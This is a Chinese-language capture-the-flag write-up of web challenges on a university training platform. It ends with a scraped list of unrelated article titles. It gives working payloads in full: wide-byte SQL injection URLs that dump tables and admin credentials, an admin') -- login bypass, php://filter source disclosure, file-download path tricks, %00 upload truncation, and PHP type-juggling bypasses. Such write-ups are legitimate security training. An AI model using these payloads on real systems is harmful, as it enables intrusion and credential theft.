平台地址:http://ctf.nuptsast.com/

签到题:

右键查看源代码,得到flag

md5 collision:

传入的a的md5值要为0e开头的,但不能是QNKCDZO,百度一个0e开头的md5

得到flag

签到2:

右键查看源代码

输入框允许的最大长度为10,口令的长度为11

使用hackbar post一下

得到flag

这题不是WEB:

下载图片,用记事本打开

拉到最后,得到flag

层层递进:

是一个网站页面,先扫一下

有个404.html

查看一下源代码,得到flag

AAencode:

这题为javascript aaencode解密题,直接解密,得到flag,工具地址:https://tool.zcmzcm.org/aadecode

单身二十年

右键查看源代码

点击进入,得到flag

php decode:

<?php
function CLsI($ZzvSWE) { $ZzvSWE = gzinflate(base64_decode($ZzvSWE)); for ($i = 0; $i < strlen($ZzvSWE); $i++) { $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1); } return $ZzvSWE; }eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

把eval改为echo,在本地用phpstudy测试一下

得到flag

文件包含:

点进去

用php://filter/读取index.php

构建url:http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

为base64加密,解密一下得到flag

单身一百年也没用:

开启firebug,在“网络”里查看包,点击链接,查看包,得到flag

Download~!:

这类又两个下载链接,复制一下一个地址,http://way.nuptzj.cn/web6/download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=,后面为base64加密,下载download.php,对download.php进行base64加密后下载

下载后打开

发现一个hereiskey.php,下载后打开,得到flag

COOKIE:

在firebug里的cookies处修改一下,把0改成1,然后刷新页面

得到flag

MYSQL:

直接在后面加个robots.txt

id不等于1024才给输出内容,intval()函数又是获取整数值,直接传入1024.1,得到flag

 sql injection 3:

加个单引号

单引号被过滤了,看来是宽字节注入,查一下字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3,4,5 %23

报错

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2 %23

没报错

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' order by 1,2,3 %23

报错

有2个字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,2 %23

爆出了个2,查一下数据库

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,database() %23

爆出了一个数据库

爆一下表

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

爆出了5个表:ctf,ctf2,ctf3,ctf4,news

爆一下ctf的字段

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

得到2个字段

爆一下内容

http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf %23

爆出一个admin和一个md5密文

解一下密

密文为njupt

试了ctf2和ctf3都没有找到flag

试ctf4的时候看到了一个flag字段

爆一下内容

得到flag

/x00:

ereg()函数可以%00截断,当传入的nctf为数组时,它的返回值不是FALSE,直接传入nctf[]得到flag

bypass again:

传入的a和b的值不相等,但是md5的值相等,可以用数组

得到flag

变量覆盖:

点击,看一下源代码

extract()函数变量覆盖$pass和$thepassword_123

得到flag

PHP是世界上最好的语言:

访问一下index.txt

<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
} $_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?> <br><br>
Can you authenticate to this website?

eregi()函数判断id传入的值是否为hackerDJ,传入的id的值url解码后要跟hackerDJ相同,对hackerDJ进行两次url编码

http://way.nuptzj.cn/php/index.php?id=%25%36%38%25%36%31%25%36%33%25%36%42%25%36%35%25%37%32%25%34%34%25%34%41

得到flag

伪装者:

这里提示本地登陆

Header:

打开Firebug,刷新一下界面,得到flag

上传绕过:

选择一个图片文件上传,用burp抓包

在/uploads/后加一个php的后缀名,然后%00截断,发包得到flag

SQL注入1:

点击Source,查看源代码

<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = trim($_POST[user]);
$pass = md5(trim($_POST[pass]));
$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
echo '</br>'.$sql;
$query = mysql_fetch_array(mysql_query($sql));
if($query[user]=="admin") {
echo "<p>Logged in! flag:******************** </p>";
}
if($query[user] != "admin") {
echo("<p>You are not admin!</p>");
}
}
echo $query[user];
?>

用admin')把语句闭合,用--把后面的语句注释掉,如果是admin的话,就能得到flag

构造语句:admin') -- aaa,密码随便填

pass check:

代码如下

<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

strcmp()函数对$pass和$pass1进行比较,如果一样的话返回flag,strcmp()比较的结果相同时会返回0,比较数组的时候会返回null,null和0在判断中相等

用hackbar post一个数组

得到flag

起名字真难:

源码如下:

<?php
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied';
?>

不能传入数字,但是要传入54975581388,才能得到flag,转换为十六进制传入

http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

得到flag

南京邮电大学网络攻防平台WEB题的更多相关文章

  1. 南京邮电大学网络攻防平台(NCTF)-MD5-Writeup

    南京邮电大学网络攻防平台-MD5-Writeup 题干如下: 分析: 遍历 TASC?O3RJMV?WDJKX?ZM(?替换为其他),找到md5为e9032???da???08????911513?0 ...

  2. 南京邮电大学网络攻防平台——WriteUp(持续更新)

    1.签到题 右键查看源代码直接获得flag 2.MD5collision(MD5碰撞) 观察源码发现md51等于QNKCDZO通过MD5加密的结果,使用在线解密发现结果为 0e830400451993 ...

  3. 南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup

    南京邮电大学网络攻防训练平台(NCTF)-异性相吸-Writeup 题目描述 文件下载地址 很明显,文件之间进行亦或就可得到flag,不再多说,直接上脚本 #coding:utf-8 file_a = ...

  4. 《网络攻防》Web安全基础实践

    20145224陈颢文 <网络攻防>Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御: 部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,黑客利用这个bug在数 ...

  5. 《网络攻防》Web基础

    20145224陈颢文 <网络攻防>Web基础 基础问题回答 什么是表单: 表单是一个包含表单元素的区域.表单元素是允许用户在表单中输入信息的元素.表单在网页中主要负责数据采集功能. 浏览 ...

  6. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  7. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  8. JarvisOJ平台Web题部分writeup

    PORT51 题目链接:http://web.jarvisoj.com:32770/ 这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器 想着用linux下的c ...

  9. 20145237《网络攻防》Web基础

    基础问题回答 什么是表单: 表单是一个包含表单元素的区域.表单元素是允许用户在表单中输入信息的元素.表单在网页中主要负责数据采集功能. 浏览器可以解析运行什么语言: 超文本标记语言:HTML: 可扩展 ...

随机推荐

  1. Word批量设置表格宽度自动适应页面宽度

    怎么批量修改Word表格的宽度呢.Word表格可根据窗口自动调整表格宽度,使得所有的表格宽度和页面宽度一样. 当页面设置了新的页边距后,所有的表格都需要调整新的宽度.或者文档中有许多大大小小的表格,希 ...

  2. java正则表达式(基础篇)

    1.数量表达 {n} :出现n次 {m,n}:最少出现m次,最多出现n次 *:表示出现>=0次,相当于{0,} +:表示出现>=1次,相当于{1,} ?:表示出现1次或0次 |:左右两边正 ...

  3. Educational Codeforces Round 27

    期末后恢复性训练,结果完美爆炸... A,题意:2n个人,分成两队,要求无论怎么分配,第一队打赢第二队 #include<bits/stdc++.h> #define fi first # ...

  4. 国外DDoS产品的一些调研—— Akamai Arbor Networks Cloudflare DOSarrest F5 Fastly Imperva Link11 Neustar Nexusguard Oracle (Dyn) Radware Verisign

    Global DDoS Threat LandscapeQ4 2017 https://www.incapsula.com/ddos-report/ddos-report-q4-2017.html,D ...

  5. 【spark】SparkSession的API

    SparkSession是一个比较重要的类,它的功能的实现,肯定包含比较多的函数,这里介绍下它包含哪些函数. builder函数public static SparkSession.Builder b ...

  6. 【枚举】【最小生成树】【kruscal】bzoj3754 Tree之最小方差树

    发现,若使方差最小,则使Σ(wi-平均数)2最小即可. 因为权值的范围很小,所以我们可以枚举这个平均数,每次把边权赋成(wi-平均数)2,做kruscal. 但是,我们怎么知道枚举出来的平均数是不是恰 ...

  7. SQL Server中解决死锁的新方法介绍

    SQL Server中解决死锁的新方法介绍 数据库操作的死锁是不可避免的,本文并不打算讨论死锁如何产生,重点在于解决死锁,通过SQL Server 2005, 现在似乎有了一种新的解决办法. 将下面的 ...

  8. LeetCode OJ:Merge Two Sorted Lists(合并两个链表)

    Merge two sorted linked lists and return it as a new list. The new list should be made by splicing t ...

  9. ElasticSearch安装及简单配置说明

      目录 1.      准备安装包... 1 2.      安装jdk7. 1 3.      安装ElasticSearch. 2 4.      安装maven. 3 5.      集成IK ...

  10. Android系统代码查询命令集合

    Android系统代码查询命令集合 *#06# 显示MEID *#*#4636#*#* 显示版本,或更新相机韧体 *#*#7594#*#* 当长按关机按钮时,会出现一个切换手机部分设置及更改设定 WL ...